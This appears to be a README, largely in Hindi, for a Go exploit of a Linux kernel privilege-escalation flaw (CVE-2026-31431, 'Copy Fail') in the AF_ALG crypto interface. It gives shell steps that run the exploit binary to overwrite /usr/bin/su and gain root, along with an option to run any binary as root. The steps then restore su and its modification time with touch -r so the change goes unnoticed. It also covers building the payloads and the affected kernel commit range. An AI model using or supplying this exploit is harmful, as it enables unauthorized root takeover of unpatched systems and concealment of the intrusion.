
एक Go कार्यान्वयन copyfail (CVE-2026-31431) का
अधिकांश Linux LPE को रेस विंडो या कर्नेल-विशिष्ट ऑफसेट की आवश्यकता होती है। Copy Fail एक सीधी-रेखा तर्क दोष है — इसे किसी की आवश्यकता नहीं होती। वही
732-बाइट Python स्क्रिप्टस्टैटिक Go बाइनरी 2017 के बाद से शिप किए गए हर Linux वितरण को रूट कर देती है।
CVE-2026-31431 का एक Go कार्यान्वयन। यदि आपको स्टैटिक बाइनरी चाहिए और कोई Python निर्भरता नहीं चाहिए।
अधिक जानकारी के लिए copy.fail देखें।
# Get the binary to your Linux host with code execution (exercise for the reader)
user@host$ chmod +x copyfail-go
user@host$ ./copyfail-go --backup /tmp/su
root@host# cat /tmp/su > /usr/bin/su # Restore the original su binary
root@host# touch -r /tmp/su /usr/bin/su # Restore the modified time of the original su
root@host# rm /tmp/su
root@host# # Do things as root =)
किसी प्रोग्राम को रूट तक बढ़ाने के लिए उपयोगी
# Get the binary to your Linux host with code execution (exercise for the reader)
user@host$ chmod +x copyfail-go
user@host$ ./copyfail-go --backup /tmp/su --exec ./your-binary
user@host$ # Use whatever you ran to restore su from /tmp/su
Debian होस्ट पर payloads/build-n-print.sh के साथ पेलोड स्वयं संकलित करें (Debian 13 पर परीक्षण किया गया)।
आपको apt install nasm python3 binutils-aarch64-linux-gnu binutils-arm-linux-gnueabihf चलाना होगा और फिर payloads निर्देशिका से स्क्रिप्ट चलानी होगी। यह प्रत्येक पेलोड को संकलित करेगा और zlib संपीड़ित हेक्स स्ट्रिंग्स को आउटपुट करेगा। उनकी तुलना main.go में जो है उससे करें (या उन्हें अपने स्वयं के साथ बदलें) और मुख्य प्रोजेक्ट निर्देशिका से goreleaser build --snapshot --clean के साथ copyfile-go बाइनरी बनाएँ।
floor: torvalds/linux 72548b093ee3 August 2017, v4.14
(AF_ALG iov_iter rework that
introduced the file-page write
primitive via splice into the AEAD
scatterlist)
ceiling: torvalds/linux a664bf3d603d April 2026, mainline
(reverts the 2017 algif_aead
in-place optimization; separates
source and destination scatterlists
so page-cache pages can no longer
be a writable crypto destination)
इसके बीच: हर प्रमुख डिस्ट्रो कर्नेल जिसने फिक्स को बैकपोर्ट नहीं किया।
Ubuntu, RHEL, SUSE, Amazon Linux, और Debian सभी प्रकटीकरण के समय अपने
स्टॉक क्लाउड-इमेज कर्नेल में कमजोर पाए गए। डिस्ट्रो-स्तरीय
बैकपोर्ट लगभग 2026-04-29 को सार्वजनिक प्रकटीकरण के साथ रोल आउट होने लगे।
यह सत्यापित करने के लिए कि क्या कोई लक्षित कर्नेल विंडो में है, जाँच करें कि
a664bf3d603d (या इसका डिस्ट्रो-विशिष्ट बैकपोर्ट) कर्नेल के
git log या डिस्ट्रो के चेंजलॉग में मौजूद है या नहीं।